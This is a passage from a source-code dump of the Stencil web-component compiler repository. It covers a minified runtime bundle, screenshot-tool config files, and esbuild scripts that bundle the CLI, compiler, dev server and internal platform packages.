Map;o.attributeChangedCallback=function(e,t,l){f.jmp(()=>{const t=n.get(e);this[t]=(null!==l||"boolean"!=typeof this[t])&&l})},e.observedAttributes=l.filter(([e,t])=>15&t[0]).map(([e,l])=>{const o=l[1]||e;return n.set(o,e),512&l[0]&&t.O.push([e,o]),o})}}return e},se=e=>{te(e,"connectedCallback")},re=(e,t={})=>{const n=[],l=t.exclude||[],o=c.customElements,s=a.head,r=s.querySelector("meta[charset]"),i=a.createElement("style"),u=[];let p,m=!0;Object.assign(f,t),f.l=new URL(t.resourcesUrl||"./",a.baseURI).href,t.syncQueue&&(f.t|=4),e.map(e=>e[1].map(t=>{const s={t:t[0],u:t[1],T:t[2],q:t[3]};s.T=t[2],s.q=t[3],s.O=[],s.W={};const r=s.u,i=class extends HTMLElement{constructor(e){super(e),ue(e=this,s),1&s.t&&e.attachShadow({mode:"open"})}connectedCallback(){p&&(clearTimeout(p),p=null),m?u.push(this):f.jmp(()=>(e=>{if(0==(1&f.t)){const t=ae(e),n=t.R,l=()=>{};if(1&t.t)$(e,t,n.q),se(t.s);else{t.t|=1,12&n.t&&(e=>{const t=e["s-cr"]=a.createComment("");t["s-cn"]=!0,e.insertBefore(t,e.firstChild)})(e);{let n=e;for(;n=n.parentNode||n.host;)if(n["s-p"]){J(t,t.C=n);break}}n.T&&Object.entries(n.T).map(([t,[n]])=>{if(31&n&&e.hasOwnProperty(t)){const n=e[t];delete e[t],e[t]=n}}),Se(()=>(async(e,t,n,l,o)=>{if(0==(32&t.t)){t.t|=32;{if((o=me(n)).then){const e=()=>{};o=await o,e()}o.isProxied||(n.W=o.watchers,oe(o,n,2),o.isProxied=!0);const e=()=>{};t.t|=8;try{new o(t)}catch(e){pe(e)}t.t&=-9,t.t|=128,e(),se(t.s)}const e=w(n);if(!he.has(e)&&o.style){const t=()=>{};((e,t,n)=>{let l=he.get(e);d&&n?(l=l||new CSSStyleSheet,l.replace(t)):l=t,he.set(e,l)})(e,o.style,!!(1&n.t)),t()}}const s=t.C,r=()=>K(t,!0);s&&s["s-rc"]?s["s-rc"].push(r):r()})(0,t,n))}l()}})(this))}disconnectedCallback(){f.jmp(()=>(()=>{if(0==(1&f.t)){const e=ae(this),t=e.s;e.o&&(e.o.map(e=>e()),e.o=void 0),te(t,"disconnectedCallback"),te(t,"componentDidUnload")}})())}forceUpdate(){(()=>{{const e=ae(this);e.M.isConnected&&2==(18&e.t)&&K(e,!1)}})()}componentOnReady(){return ae(this).A}};s.F=e[0],l.includes(r)||o.get(r)||(n.push(r),o.define(r,oe(i,s,1)))})),i.innerHTML=n+"{visibility:hidden}.hydrated{visibility:inherit}",i.setAttribute("data-styles",""),s.insertBefore(i,r?r.nextSibling:s.firstChild),m=!1,u.length?u.map(e=>e.connectedCallback()):f.jmp(()=>p=setTimeout(ee,30))},ie=(e,t)=>t in p?p[t]:"window"===t?c:"document"===t?a:"isServer"!==t&&"isPrerender"!==t&&("isClient"===t||("resourcesUrl"===t||"publicPath"===t?(()=>{const e=new URL(".",f.l);return e.origin!==c.location.origin?e.href:e.pathname})():"queue"===t?{write:Me,read:je,tick:{then:e=>Se(e)}}:void 0)),ce=new WeakMap,ae=e=>ce.get(e),fe=(e,t)=>ce.set(t.s=e,t),ue=(e,t)=>{const n={t:0,M:e,R:t,D:new Map};return n.A=new Promise(e=>n.P=e),e["s-p"]=[],e["s-rc"]=[],$(e,n,t.q),ce.set(e,n)},de=(e,t)=>t in e,pe=e=>console.error(e),$e=new Map,me=e=>{const t=e.u.replace(/-/g,"_"),n=e.F,l=$e.get(n);return l?l[t]:import(`./${n}.entry.js`).then(e=>($e.set(n,e),e[t]),pe)},he=new Map,ye=[],be=[],we=[],ke=(e,t)=>n=>{e.push(n),i||(i=!0,t&&4&f.t?Se(ge):f.raf(ge))},ve=(e,t)=>{let n=0,l=0;for(;n{r++,(e=>{for(let t=0;t0&&(we.push(...be),be.length=0),(i=ye.length+be.length+we.length>0)?f.raf(ge):r=0}},Se=e=>u().then(e),je=ke(ye,!1),Me=ke(be,!0),Ue=()=>u(),Ce=()=>{const e=import.meta.url,t={};return""!==e&&(t.resourcesUrl=new URL(".",e).href),u(t)};export{Ue as a,re as b,ie as c,G as d,B as g,g as h,Ce as p,fe as r} ================================================ FILE: screenshot/compare/host.config.json ================================================ { "hosting": { "headers": [ { "source": "/build/p-*", "headers": [ { "key": "Cache-Control", "value": "max-age=31556952, s-maxage=31556952, immutable" } ] } ] } } ================================================ FILE: screenshot/compare/index.html ================================================ Stencil Screenshot Visual Diff ================================================ FILE: screenshot/compare/manifest.json ================================================ { "name": "Screenshot", "short_name": "Screenshot", "start_url": "/", "display": "standalone", "icons": [{ "src": "/assets/favicon.ico", "sizes": "192x192", "type": "image/x-icon" }], "background_color": "#488aff", "theme_color": "#488aff" } ================================================ FILE: screenshot/connector.js ================================================ const { ScreenshotConnector } = require('./index.js'); module.exports = ScreenshotConnector; ================================================ FILE: screenshot/local-connector.js ================================================ const { ScreenshotLocalConnector } = require('./index.js'); module.exports = ScreenshotLocalConnector; ================================================ FILE: scripts/build.ts ================================================ import { buildCli } from './esbuild/cli'; import { buildCompiler } from './esbuild/compiler'; import { buildDevServer } from './esbuild/dev-server'; import { buildInternal } from './esbuild/internal'; import { buildMockDoc } from './esbuild/mock-doc'; import { buildScreenshot } from './esbuild/screenshot'; import { buildSysNode } from './esbuild/sys-node'; import { buildTesting } from './esbuild/testing'; import { release } from './release'; import { validateBuild } from './test/validate-build'; import { BuildOptions, getOptions } from './utils/options'; // the main entry point for the build export async function run(rootDir: string, args: ReadonlyArray) { const opts = getOptions(process.cwd(), { isProd: args.includes('--prod'), isCI: args.includes('--ci'), isWatch: args.includes('--watch'), }); try { if (args.includes('--release')) { await release(rootDir, args); return; } if (args.includes('--validate-build')) { await validateBuild(rootDir); return; } await buildAll(opts); } catch (e) { console.error(e); process.exit(1); } } export async function buildAll(opts: BuildOptions) { await Promise.all([ buildCli(opts), buildCompiler(opts), buildDevServer(opts), buildMockDoc(opts), buildScreenshot(opts), buildSysNode(opts), buildTesting(opts), buildInternal(opts), ]); } ================================================ FILE: scripts/esbuild/cli.ts ================================================ import type { BuildOptions as ESBuildOptions } from 'esbuild'; import fs from 'fs-extra'; import { join } from 'path'; import { getBanner } from '../utils/banner'; import { BuildOptions } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils'; /** * Runs esbuild to bundle the `cli` submodule * * @param opts build options * @returns a promise for this bundle's build output */ export async function buildCli(opts: BuildOptions) { // clear out rollup stuff await fs.emptyDir(opts.output.cliDir); const inputDir = join(opts.srcDir, 'cli'); const buildDir = join(opts.buildDir, 'cli'); const outputDir = opts.output.cliDir; const esmFilename = 'index.js'; const cjsFilename = 'index.cjs'; const dtsFilename = 'index.d.ts'; const cliAliases = getEsbuildAliases(); // this isn't strictly necessary to alias - however, this minimizes cuts down the bundle size by ~70kb. cliAliases['prompts'] = 'prompts/lib/index.js'; const external = [...externalNodeModules, '../testing/*']; const cliEsbuildOptions = { ...getBaseEsbuildOptions(), alias: cliAliases, entryPoints: [join(inputDir, 'index.ts')], external, platform: 'node', } satisfies ESBuildOptions; // ESM build options const esmOptions: ESBuildOptions = { ...cliEsbuildOptions, outfile: join(outputDir, esmFilename), format: 'esm', banner: { js: getBanner(opts, `Stencil CLI`, true), }, }; // CommonJS build options const cjsOptions: ESBuildOptions = { ...cliEsbuildOptions, outfile: join(outputDir, cjsFilename), platform: 'node', format: 'cjs', banner: { js: getBanner(opts, `Stencil CLI (CommonJS)`, true), }, }; // create public d.ts let dts = await fs.readFile(join(buildDir, 'public.d.ts'), 'utf8'); dts = dts.replace('@stencil/core/internal', '../internal/index'); await fs.writeFile(join(opts.output.cliDir, dtsFilename), dts); // copy config-flags.d.ts let configDts = await fs.readFile(join(buildDir, 'config-flags.d.ts'), 'utf8'); configDts = configDts.replace('@stencil/core/declarations', '../internal/index'); await fs.writeFile(join(opts.output.cliDir, 'config-flags.d.ts'), configDts); // write cli/package.json writePkgJson(opts, opts.output.cliDir, { name: '@stencil/core/cli', description: 'Stencil CLI.', main: cjsFilename, module: esmFilename, types: dtsFilename, }); return runBuilds([esmOptions, cjsOptions], opts); } ================================================ FILE: scripts/esbuild/compiler.ts ================================================ import type { BuildOptions as ESBuildOptions } from 'esbuild'; import { replace } from 'esbuild-plugin-replace'; import fs from 'fs-extra'; import { join } from 'path'; import { getBanner } from '../utils/banner'; import { BuildOptions, createReplaceData } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils'; import { bundleParse5 } from './utils/parse5'; import { bundleTerser } from './utils/terser'; import { bundleTypeScriptSource, tsCacheFilePath } from './utils/typescript-source'; export async function buildCompiler(opts: BuildOptions) { const inputDir = join(opts.buildDir, 'compiler'); const srcDir = join(opts.srcDir, 'compiler'); const compilerFileName = 'stencil.js'; const compilerDtsName = compilerFileName.replace('.js', '.d.ts'); // clear out rollup stuff and ensure directory exists await fs.emptyDir(opts.output.compilerDir); // create public d.ts let dts = await fs.readFile(join(inputDir, 'public.d.ts'), 'utf8'); dts = dts.replace('@stencil/core/internal', '../internal/index'); await fs.writeFile(join(opts.output.compilerDir, compilerDtsName), dts); // write @stencil/core/compiler/package.json writePkgJson(opts, opts.output.compilerDir, { name: '@stencil/core/compiler', description: 'Stencil Compiler.', main: compilerFileName, types: compilerDtsName, }); // copy and edit compiler/sys/in-memory-fs.d.ts let inMemoryFsDts = await fs.readFile(join(inputDir, 'sys', 'in-memory-fs.d.ts'), 'utf8'); inMemoryFsDts = inMemoryFsDts.replace('@stencil/core/internal', '../../internal/index'); await fs.ensureDir(join(opts.output.compilerDir, 'sys')); await fs.writeFile(join(opts.output.compilerDir, 'sys', 'in-memory-fs.d.ts'), inMemoryFsDts); // copy and edit compiler/transpile.d.ts let transpileDts = await fs.readFile(join(inputDir, 'transpile.d.ts'), 'utf8'); transpileDts = transpileDts.replace('@stencil/core/internal', '../internal/index'); await fs.writeFile(join(opts.output.compilerDir, 'transpile.d.ts'), transpileDts); const alias: Record = { ...getEsbuildAliases(), glob: './sys/node/glob.js', '@sys-api-node': '../sys/node/index.js', }; const external = [ ...externalNodeModules, '../mock-doc/index.cjs', '../sys/node/autoprefixer.js', '../sys/node/index.js', ]; // get replace data, which replaces certain strings within the output with // build-time constants. // // this setup was originally designed for use with the Rollup `replace` // plugin, but there is an esbuild plugin which provides equivalent // functionality // // note that the `bundleTypeScriptSource` function implicitly depends on // `createReplaceData` being called before it const replaceData = createReplaceData(opts); // stuff to patch typescript before bundling const tsPath = require.resolve('typescript'); await bundleTypeScriptSource(tsPath, opts); const tsFilePath = tsCacheFilePath(opts); alias['typescript'] = tsFilePath; // same for terser const [, terserPath] = await bundleTerser(opts); alias['terser'] = terserPath; // and parse5 const [, parse5path] = await bundleParse5(opts); alias['parse5'] = parse5path; const compilerEsbuildOptions: ESBuildOptions = { ...getBaseEsbuildOptions(), banner: { js: getBanner(opts, 'Stencil Compiler', true) }, entryPoints: [join(srcDir, 'index.ts')], platform: 'node', external, format: 'cjs', alias, plugins: [replace(replaceData)], outfile: join(opts.output.compilerDir, compilerFileName), // workaround for fdir https://github.com/thecodrr/fdir/issues/163 inject: [join(opts.bundleHelpersDir, 'import-meta-url.js')], define: { 'import.meta.url': 'import_meta_url', }, }; // copy typescript default lib dts files const tsLibNames = await getTypeScriptDefaultLibNames(opts); await Promise.all(tsLibNames.map((f) => fs.copy(join(opts.typescriptLibDir, f), join(opts.output.compilerDir, f)))); return runBuilds([compilerEsbuildOptions], opts); } /** * Helper function that reads in the `lib.*.d.ts` files in the TypeScript lib/ directory on disk. * @param opts the Stencil build options, which includes the location of the TypeScript lib/ * @returns all file names that match the `lib.*.d.ts` format */ async function getTypeScriptDefaultLibNames(opts: BuildOptions): Promise { return (await fs.readdir(opts.typescriptLibDir)).filter((f) => f.startsWith('lib.') && f.endsWith('.d.ts')); } ================================================ FILE: scripts/esbuild/dev-server.ts ================================================ import { builtinModules } from 'node:module'; import { join } from 'node:path'; import type { BuildOptions as ESBuildOptions, Plugin } from 'esbuild'; import { replace } from 'esbuild-plugin-replace'; import fs from 'fs-extra'; import ts from 'typescript'; import { getBanner } from '../utils/banner'; import { type BuildOptions, createReplaceData } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { externalAlias, getBaseEsbuildOptions, getEsbuildAliases, getFirstOutputFile, runBuilds } from './utils'; import { createContentTypeData } from './utils/content-types'; const CONNECTOR_NAME = 'connector.html'; /** * Runs esbuild to bundle the `dev-server` submodule * * @param opts build options * @returns a promise for this bundle's build output */ export async function buildDevServer(opts: BuildOptions) { // create dir of not existing already await fs.ensureDir(opts.output.devServerDir); // clear out rollup stuff await fs.emptyDir(opts.output.devServerDir); const inputDir = join(opts.buildDir, 'dev-server'); // create public d.ts let dts = await fs.readFile(join(opts.buildDir, 'dev-server', 'index.d.ts'), 'utf8'); dts = dts.replace('../declarations', '../internal/index'); await fs.writeFile(join(opts.output.devServerDir, 'index.d.ts'), dts); // write package.json writePkgJson(opts, opts.output.devServerDir, { name: '@stencil/core/dev-server', description: 'Stencil Development Server which communicates with the Stencil Compiler.', main: 'index.js', types: 'index.d.ts', }); // copy static files await fs.copy(join(opts.srcDir, 'dev-server', 'static'), join(opts.output.devServerDir, 'static')); // copy server-worker-thread.js await fs.copy( join(opts.srcDir, 'dev-server', 'server-worker-thread.js'), join(opts.output.devServerDir, 'server-worker-thread.js'), ); // copy template files await fs.copy(join(opts.srcDir, 'dev-server', 'templates'), join(opts.output.devServerDir, 'templates')); // open-in-editor's visualstudio.vbs file const visualstudioVbsSrc = join(opts.nodeModulesDir, 'open-in-editor', 'lib', 'editors', 'visualstudio.vbs'); const visualstudioVbsDesc = join(opts.output.devServerDir, 'visualstudio.vbs'); await fs.copy(visualstudioVbsSrc, visualstudioVbsDesc); // copy open's xdg-open file const xdgOpenSrcPath = join(opts.nodeModulesDir, 'open', 'xdg-open'); const xdgOpenDestPath = join(opts.output.devServerDir, 'xdg-open'); await fs.copy(xdgOpenSrcPath, xdgOpenDestPath); const external = [...builtinModules]; const devServerAliases = { ...getEsbuildAliases(), glob: '../../sys/node/glob.js', '@stencil/core/mock-doc': '../../mock-doc/index.cjs', }; const devServerIndexEsbuildOptions = { ...getBaseEsbuildOptions(), alias: devServerAliases, entryPoints: [join(inputDir, 'index.js')], outfile: join(opts.output.devServerDir, 'index.js'), external: ['@dev-server-process', ...external], format: 'cjs', platform: 'node', write: false, plugins: [serverProcessAliasPlugin(), replace(createReplaceData(opts))], banner: { js: getBanner(opts, `Stencil Dev Server`, true), }, } satisfies ESBuildOptions; const devServerProcessEsbuildOptions = { ...getBaseEsbuildOptions(), alias: { ...devServerAliases, glob: '../../sys/node/glob.js', '@stencil/core/mock-doc': '../../mock-doc/index.cjs', '@sys-api-node': '../sys/node/index.js', }, entryPoints: [join(inputDir, 'server-process.js')], outfile: join(opts.output.devServerDir, 'server-process.js'), external: [...external, '../sys/node/index.js'], format: 'cjs', platform: 'node', write: false, plugins: [ esm2CJSPlugin(), contentTypesPlugin(opts), replace(createReplaceData(opts)), externalAlias('graceful-fs', '../sys/node/graceful-fs.js'), ], banner: { js: getBanner(opts, `Stencil Dev Server Process`, true), }, } satisfies ESBuildOptions; const connectorAlias = { glob: '../../sys/node/glob.js', '@stencil/core/dev-server/client': join(inputDir, 'client', 'index.js'), '@stencil/core/mock-doc': '../../mock-doc/index.cjs', }; const connectorEsbuildOptions = { ...getBaseEsbuildOptions(), alias: connectorAlias, entryPoints: [join(inputDir, 'dev-server-client', 'index.js')], outfile: join(opts.output.devServerDir, CONNECTOR_NAME), format: 'cjs', platform: 'node', write: false, plugins: [appErrorCssPlugin(opts), clientConnectorPlugin(opts), replace(createReplaceData(opts))], } satisfies ESBuildOptions; await fs.ensureDir(join(opts.output.devServerDir, 'client')); // copy dev server client dts files await fs.copy(join(opts.buildDir, 'dev-server', 'client'), join(opts.output.devServerDir, 'client'), { filter: (src) => { if (src.endsWith('.d.ts')) { return true; } const stats = fs.statSync(src); if (stats.isDirectory()) { return true; } return false; }, }); // write package.json writePkgJson(opts, join(opts.output.devServerDir, 'client'), { name: '@stencil/core/dev-server/client', description: 'Stencil Dev Server Client.', main: 'index.js', types: 'index.d.ts', }); const devServerClientEsbuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [join(opts.buildDir, 'dev-server', 'client', 'index.js')], outfile: join(opts.output.devServerDir, 'client', 'index.js'), format: 'esm', platform: 'node', plugins: [appErrorCssPlugin(opts), replace(createReplaceData(opts))], banner: { js: getBanner(opts, `Stencil Dev Server Client`, true), }, } satisfies ESBuildOptions; return runBuilds( [ devServerIndexEsbuildOptions, devServerProcessEsbuildOptions, connectorEsbuildOptions, devServerClientEsbuildOptions, ], opts, ); } /** * Load CSS files and export them as a string * @param opts build options * @returns an esbuild plugin */ function appErrorCssPlugin(opts: BuildOptions): Plugin { return { name: 'appErrorCss', setup(build) { build.onResolve({ filter: /app-error\.css$/ }, () => ({ path: join(opts.srcDir, 'dev-server', 'client', 'app-error.css'), })); build.onLoad({ filter: /app-error\.css$/ }, async (args) => { const code = await fs.readFile(args.path, 'utf8'); const css = code.replace(/\n/g, ' ').trim(); const minified = css.replace(/ /g, ' '); return { contents: `export default ${JSON.stringify(minified)};` }; }); }, }; } /** * Transform connector client script into a HTML file * @param opts build options * @returns an esbuild plugin */ function clientConnectorPlugin(opts: BuildOptions): Plugin { return { name: 'clientConnectorPlugin', setup(build) { build.onEnd(async (buildResult) => { const bundle = buildResult.outputFiles?.find((b) => b.path.endsWith(CONNECTOR_NAME)); if (!bundle) { throw "Couldn't find build result!"; } let code = Buffer.from(bundle.contents).toString(); const tsResults = ts.transpileModule(code, { compilerOptions: { target: ts.ScriptTarget.ES5, }, }); if (tsResults.diagnostics?.length) { throw new Error(tsResults.diagnostics as any); } code = tsResults.outputText; code = intro + code + outro; if (opts.isProd) { const { minify } = await import('terser'); const minifyResults = await minify(code, { compress: { hoist_vars: true, hoist_funs: true, ecma: 5 }, format: { ecma: 5 }, }); if (minifyResults.code) { code = minifyResults.code; } } code = banner + code + footer; code = code.replace(/__VERSION:STENCIL__/g, opts.version); return fs.writeFile(bundle.path, code); }); }, }; } /** * esbuild plugin to support alias of dynamic import. Transforming a path within a dynamic import * does not seem to be supported yet. * @see https://github.com/evanw/esbuild/issues/700 * @returns an esbuild plugin */ function serverProcessAliasPlugin(): Plugin { return { name: 'serverProcessAlias', setup(build) { build.onEnd(async (buildResult) => { const bundle = getFirstOutputFile(buildResult); let code = Buffer.from(bundle.contents).toString(); code = code.replace('await import("@dev-server-process")', '(await import("./server-process.js")).default'); return fs.writeFile(bundle.path, code); }); }, }; } /** * The `open` NPM package is build as ESM module and uses ESM runtime features like `import.meta.url`. * This plugin transforms this into CJS compliant code. * @returns an esbuild plugin */ function esm2CJSPlugin(): Plugin { return { name: 'esm2CJS', setup(build) { build.onEnd(async (buildResult) => { const bundle = getFirstOutputFile(buildResult); let code = Buffer.from(bundle.contents).toString(); code = code.replace('import_meta.url', 'new (require("url").URL)("file:" + __filename).href'); return fs.writeFile(bundle.path, code); }); }, }; } /** * Populates the `content-types-db.json` file with the content types of the `mime-db` package. * @param opts build options * @returns an esbuild plugin */ function contentTypesPlugin(opts: BuildOptions): Plugin { return { name: 'contentTypesPlugin', setup(build) { build.onLoad({ filter: /content-types-db\.json$/ }, async () => { const contents = await createContentTypeData(opts); return { contents }; }); }, }; } const banner = `Stencil Dev Server Connector __VERSION:STENCIL__ ⚡ Stencil Dev Server Connector __VERSION:STENCIL__ ⚡ `; ================================================ FILE: scripts/esbuild/helpers/empty.js ================================================ module.exports = {}; ================================================ FILE: scripts/esbuild/helpers/import-meta-url.js ================================================ export var import_meta_url = require('url').pathToFileURL(__filename); ================================================ FILE: scripts/esbuild/helpers/jest/jest-environment.js ================================================ const { getCreateJestPuppeteerEnvironment } = require('./index.js'); const createJestPuppeteerEnvironment = getCreateJestPuppeteerEnvironment(); module.exports = createJestPuppeteerEnvironment(); ================================================ FILE: scripts/esbuild/helpers/jest/jest-preprocessor.js ================================================ const { getJestPreprocessor } = require('./index.js'); const jestPreprocessor = getJestPreprocessor(); module.exports = jestPreprocessor; ================================================ FILE: scripts/esbuild/helpers/jest/jest-preset.js ================================================ const { getJestPreset } = require('./index.js'); module.exports = getJestPreset(); ================================================ FILE: scripts/esbuild/helpers/jest/jest-runner.js ================================================ const { getCreateJestTestRunner } = require('./index.js'); const createTestRunner = getCreateJestTestRunner(); module.exports = createTestRunner(); ================================================ FILE: scripts/esbuild/helpers/jest/jest-setuptestframework.js ================================================ const { getJestSetupTestFramework } = require('./index.js'); const jestSetupTestFramework = getJestSetupTestFramework(); jestSetupTestFramework(); ================================================ FILE: scripts/esbuild/helpers/lazy-require.js ================================================ // eslint-disable-next-line @typescript-eslint/no-unused-vars function _lazyRequire(moduleId) { return new Proxy( {}, { get(_target, propertyKey) { const importedModule = require(moduleId); return Reflect.get(importedModule, propertyKey); }, set(_target, propertyKey, value) { const importedModule = require(moduleId); return Reflect.set(importedModule, propertyKey, value); }, }, ); } ================================================ FILE: scripts/esbuild/helpers/path-is-absolute.js ================================================ import { isAbsolute } from 'path'; export default isAbsolute; ================================================ FILE: scripts/esbuild/internal-app-data.ts ================================================ import type { BuildOptions as ESBuildOptions } from 'esbuild'; import fs from 'fs-extra'; import { join } from 'path'; import { BuildOptions } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { getBaseEsbuildOptions } from './utils'; /** * Get an object containing ESbuild options to build the internal app data * file. This function also performs relevant side-effects, like writing a * `package.json` file to disk. * * @param opts build options * @returns a Promise wrapping an array of ESbuild option objects */ export async function getInternalAppDataBundles(opts: BuildOptions): Promise { const appDataBuildDir = join(opts.buildDir, 'app-data'); const appDataSrcDir = join(opts.srcDir, 'app-data'); const outputInternalAppDataDir = join(opts.output.internalDir, 'app-data'); await fs.emptyDir(outputInternalAppDataDir); // copy @stencil/core/internal/app-data/index.d.ts await fs.copyFile(join(appDataBuildDir, 'index.d.ts'), join(outputInternalAppDataDir, 'index.d.ts')); // write @stencil/core/internal/app-data/package.json writePkgJson(opts, outputInternalAppDataDir, { name: '@stencil/core/internal/app-data', description: 'Used for default app data and build conditionals within builds.', main: 'index.cjs', module: 'index.js', types: 'index.d.ts', sideEffects: false, }); const appDataBaseOptions: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [join(appDataSrcDir, 'index.ts')], platform: 'node', }; const appDataESM: ESBuildOptions = { ...appDataBaseOptions, format: 'esm', outfile: join(outputInternalAppDataDir, 'index.js'), }; const appDataCJS: ESBuildOptions = { ...appDataBaseOptions, format: 'cjs', outfile: join(outputInternalAppDataDir, 'index.cjs'), }; return [appDataESM, appDataCJS]; } ================================================ FILE: scripts/esbuild/internal-app-globals.ts ================================================ import type { BuildOptions as ESBuildOptions } from 'esbuild'; import fs from 'fs-extra'; import { join } from 'path'; import { BuildOptions } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { getBaseEsbuildOptions } from './utils'; /** * Get an object containing ESbuild options to build the internal app globals * file. This function also performs relevant side-effects, like writing a * `package.json` file to disk. * * @param opts build options * @returns a Promise wrapping an array of ESbuild option objects */ export async function getInternalAppGlobalsBundles(opts: BuildOptions): Promise { const appGlobalsBuildDir = join(opts.buildDir, 'app-globals'); const appGlobalsSrcDir = join(opts.srcDir, 'app-globals'); const outputInternalAppDataDir = join(opts.output.internalDir, 'app-globals'); await fs.emptyDir(outputInternalAppDataDir); // copy @stencil/core/internal/app-globals/index.d.ts await fs.copyFile(join(appGlobalsBuildDir, 'index.d.ts'), join(outputInternalAppDataDir, 'index.d.ts')); // write @stencil/core/internal/app-globals/package.json writePkgJson(opts, outputInternalAppDataDir, { name: '@stencil/core/internal/app-globals', description: 'Used for default app globals.', main: 'index.js', module: 'index.js', sideEffects: false, }); const appGlobalsBaseOptions: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [join(appGlobalsSrcDir, 'index.ts')], platform: 'node', }; const appGlobalsESM: ESBuildOptions = { ...appGlobalsBaseOptions, format: 'esm', outfile: join(outputInternalAppDataDir, 'index.js'), }; return [appGlobalsESM]; } ================================================ FILE: scripts/esbuild/internal-platform-client.ts ================================================ import type { BuildOptions as ESBuildOptions, Plugin } from 'esbuild'; import { replace } from 'esbuild-plugin-replace'; import fs from 'fs-extra'; import { glob } from 'glob'; import { join } from 'path'; import { getBanner } from '../utils/banner'; import { BuildOptions, createReplaceData } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { externalAlias, externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases } from './utils'; /** * Create objects containing ESbuild options for the two bundles which need to * be written to `internal/client`. This also performs relevant side-effects, * like clearing out the directory and writing a `package.json` script to disk. * * @param opts build options * @returns an array of ESBuild option objects */ export async function getInternalClientBundles(opts: BuildOptions): Promise { const inputClientDir = join(opts.srcDir, 'client'); const outputInternalClientDir = join(opts.output.internalDir, 'client'); const outputInternalClientPolyfillsDir = join(outputInternalClientDir, 'polyfills'); await fs.emptyDir(outputInternalClientDir); await fs.emptyDir(outputInternalClientPolyfillsDir); await copyPolyfills(opts, outputInternalClientPolyfillsDir); // write @stencil/core/internal/client/package.json writePkgJson(opts, outputInternalClientDir, { name: '@stencil/core/internal/client', description: 'Stencil internal client platform to be imported by the Stencil Compiler and internal runtime. Breaking changes can and will happen at any time.', exports: './index.js', main: './index.js', type: 'module', sideEffects: false, }); const internalClientAliases = getEsbuildAliases(); internalClientAliases['@platform'] = join(inputClientDir, 'index.ts'); const clientExternal = externalNodeModules; const internalClientBundle: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [join(inputClientDir, 'index.ts')], format: 'esm', // we do 'write: false' here because we write the build to disk in our // `findAndReplaceLoadModule` plugin below write: false, outfile: join(outputInternalClientDir, 'index.js'), platform: 'node', external: clientExternal, alias: internalClientAliases, banner: { js: getBanner(opts, 'Stencil Client Platform'), }, plugins: [ replace(createReplaceData(opts)), externalAlias('@app-data', '@stencil/core/internal/app-data'), externalAlias('@app-globals', '@stencil/core/internal/app-globals'), externalAlias('@utils/shadow-css', './shadow-css.js'), findAndReplaceLoadModule(), ], }; const patchBrowserAliases = getEsbuildAliases(); const polyfills = await fs.readdir(join(opts.srcDir, 'client', 'polyfills')); for (const polyFillFile of polyfills) { patchBrowserAliases[`polyfills/${polyFillFile}`] = join(opts.srcDir, 'client', 'polyfills'); } const patchBrowserExternal = [...externalNodeModules, '@stencil/core', '@stencil/core/mock-doc']; const internalClientPatchBrowserBundle: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [join(inputClientDir, 'client-patch-browser.ts')], format: 'esm', outfile: join(outputInternalClientDir, 'patch-browser.js'), platform: 'node', external: patchBrowserExternal, alias: patchBrowserAliases, banner: { js: getBanner(opts, 'Stencil Client Patch Browser'), }, plugins: [ replace(createReplaceData(opts)), externalAlias('@platform', '@stencil/core'), externalAlias('@app-data', '@stencil/core/internal/app-data'), externalAlias('@app-globals', '@stencil/core/internal/app-globals'), ], }; return [internalClientBundle, internalClientPatchBrowserBundle]; } /** * We need to manually find-and-replace a bit of code in * `client-load-module.ts` in order to prevent Esbuild from analyzing / * transforming the input by ensuring it does not start with `"./"`. However * some _other_ bundlers will _not_ work with such an import if it _lacks_ a * leading `"./"`, so we thus we have to do a little dance where we manually * replace it here after it's been run through Esbuild. * * @returns an Esbuild plugin */ export function findAndReplaceLoadModule(): Plugin { return { name: 'findAndReplaceLoadModule', setup(build) { build.onEnd(async (result) => { for (const file of result.outputFiles!) { const { path, text } = file; await fs.writeFile(path, text.replace(/\${MODULE_IMPORT_PREFIX}/, './')); } }); }, }; } async function copyPolyfills(opts: BuildOptions, outputInternalClientPolyfillsDir: string) { const srcPolyfillsDir = join(opts.srcDir, 'client', 'polyfills'); const srcPolyfillFiles = glob.sync('*.js', { cwd: srcPolyfillsDir }); await Promise.all( srcPolyfillFiles.map(async (fileName) => { const src = join(srcPolyfillsDir, fileName); const dest = join(outputInternalClientPolyfillsDir, fileName); await fs.copyFile(src, dest); }), ); } ================================================ FILE: scripts/esbuild/internal-platform-hydrate.ts ================================================ import type { BuildOptions as ESBuildOptions } from 'esbuild'; import fs from 'fs-extra'; import { join } from 'path'; import { getBanner } from '../utils/banner'; import { bundleDts } from '../utils/bundle-dts'; import { BuildOptions } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { externalAlias, externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases } from './utils'; /** * Create objects containing ESbuild options for the two bundles comprising * the hydrate platform. This also performs relevant side-effects, like * clearing out a directory and writing a `package.json` script to disk. * * @param opts build options * @returns an array of ESBuild option objects */ export async function getInternalPlatformHydrateBundles(opts: BuildOptions): Promise { const inputHydrateDir = join(opts.buildDir, 'hydrate'); const hydrateSrcDir = join(opts.srcDir, 'hydrate'); const outputInternalHydrateDir = join(opts.output.internalDir, 'hydrate'); await fs.emptyDir(outputInternalHydrateDir); // write @stencil/core/internal/hydrate/package.json writePkgJson(opts, outputInternalHydrateDir, { name: '@stencil/core/internal/hydrate', description: 'Stencil internal hydrate platform to be imported by the Stencil Compiler. Breaking changes can and will happen at any time.', main: 'index.js', }); await createHydrateRunnerDtsBundle(opts, inputHydrateDir, outputInternalHydrateDir); const hydratePlatformInput = join(hydrateSrcDir, 'platform', 'index.js'); const external = externalNodeModules; const internalHydrateAliases = getEsbuildAliases(); 